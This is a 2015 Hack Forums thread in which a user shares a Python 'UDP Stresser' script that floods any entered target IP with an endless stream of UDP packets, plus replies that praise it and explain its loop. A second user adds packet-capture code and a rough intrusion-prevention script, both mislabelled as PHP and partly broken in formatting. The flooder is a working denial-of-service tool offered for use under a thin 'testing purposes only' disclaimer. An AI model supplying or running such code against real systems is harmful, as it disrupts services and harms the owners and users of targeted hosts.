

Forum:[Hack Forums](#)

Thread: [UDP Stresser-UDP DOS tool coded in Python](#)

john12 - February 25, 2015, 10:07 am

Hello,after learning Python and socket programming in Python,I coded this UDP flooder script:

Code #!/usr/bin/env python

```
import os
import sys
import socket
```

```
print "UDP Stresser-Coded by John12"
print "This tool is developed for testing purposes only,I am not responsible for your actions using it"
print "Ok,lets have some fun"
```

```
UDP_IP = raw_input("Enter target IP: ")
UDP_PORT = 25
MESSAGE = raw_input("Message to send: ")
```

```
print "Initiating UDP flood attack against %s on port %s" % (UDP_IP, UDP_PORT)
```

```
sent = 0
```

```
while True:
```

```
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
    sent = sent + 1
    print "Sent %s UDP packets against %s on port %s" % (sent, UDP_IP, UDP_PORT)
    This tool is developed for testing purposes only,I am not responsible for your actions.
```

MR.FREE - February 25, 2015, 2:38 pm

Nice script, someone not to long ago released a script like this, he was using sock_stream and called it a UDP flooder.

If you are just starting off in networking let me be the first to point you to py-pcap/py-dpkt or even scrapy. You can pull off and put on packets straight from the network tap. #lawl

example:

Spoiler ([Click to View](#))PHP Code

```
<?php
```

```
# you have to download py-pcap
```

```
import pcap,dpkt
import os
```

```
dev= pcap.lookupdev()
```

```
def capture():
```

```
for ts, pkt in pcap.pcap(name=dev, snaplen=65535, promisc=True, immediate=False):
    print ts, `pkt`
```

```
if __name__ == "__main__":
    capture()
```

john12 - February 25, 2015, 9:46 pm

Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.

MR.FREE - February 25, 2015, 11:41 pm

(Feb 25, 2015 10:46 PM)john12 Wrote: [\[CITE\]](#) Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.

Yeah I saw that,nice. For shits in giggles you should see what the max % of packets you can send per sec. Then you can try to speed it up with optimizing tricks etc if you wanted.

when I started network programming the first thing I got interested in was IDS/IPS.

semi working Intrusion prevention System

Spoiler ([Click to View](#))

I hit a wall so I haven't touched it since. It's really just working pseudo code atm, I'll most likely write it in C when finished.

PHP Code

```
<?php
```

```
import pcap,dpkt
```

```
import socket
```

```
import os
```

```
def capture():
```

```
    dev= pcap.lookupdev()
```

```
    for ts, pkt in pcap.pcap(name=dev, snaplen=65535, promisc=True, immediate=False):
```

```
        eth = dpkt.ethernet.Ethernet(pkt)
```

```
        if eth.type!=2048: #! if ipv6
```

```
            ip = eth.data
```

```
            typepack = eth.type
```

```
            try:
```

```
                dst_ip_6= socket.inet_ntop(socket.AF_INET6, ip.dst )
```

```
#! Dont judge my huge exception block, it will be fixed after testing. I have to add all the network protocols or it crashes
```

```
            except AttributeError:
```

```
                continue
```

```
            else:
```

```
                ip = eth.data
```

```
                tcp = ip.data
```

```
                typepack = eth.type
```

```
                try:
```

```
                    src_ip = socket.inet_ntoa(ip.src)
```

```
                    dst_ip = socket.inet_ntoa(ip.dst)
```

```
                    if dst_ip == '192.168.1.2':
```

```
                        with open('/usr/home/mrfree/Desktop/Scripts/ipLog.txt','a') as log:
```

```
log.write('Session:%s:%s,%s\n'%(src_ip,tcp.dport,ts))
print('Session:%s:%s,%s\n'%(src_ip,tcp.dport,ts))
if tcp.dport < 1028: # if < 1028 for testing purposes, I needed to simulate attacks
log.write('Out of bounds connection attempt, Blocking %s \n'%(src_ip))
print('Out of bounds connection attempt, Blocking %s \n'%(src_ip))
with open('//usr//home//mrfree//Desktop//Scripts//filters.txt','r') as filters:
filters = filters.read()
if filters in tcp.data:
log.write('Attempted Shell connection, Blocking %s \n'%(src_ip))
subprocess.call('pfctl -k {0}'.format(src_ip))
print('Attempted Shell connection, Blocking %s \n'%(src_ip))
```

```
except AttributeError,TypeError:
    continue
```

```
if __name__ == "__main__":
    capture()
```

herrdeutschland - March 8, 2015, 8:39 am

nice and simple and really educational coding ,keep it up and thanks for the UDP flooder

but i really wish that you translate the final codes beginning with While True ,so we can understand it better ,and thanks in advance

john12 - March 8, 2015, 10:05 am

the While True starts an infinite loop sending UDP packets to the target.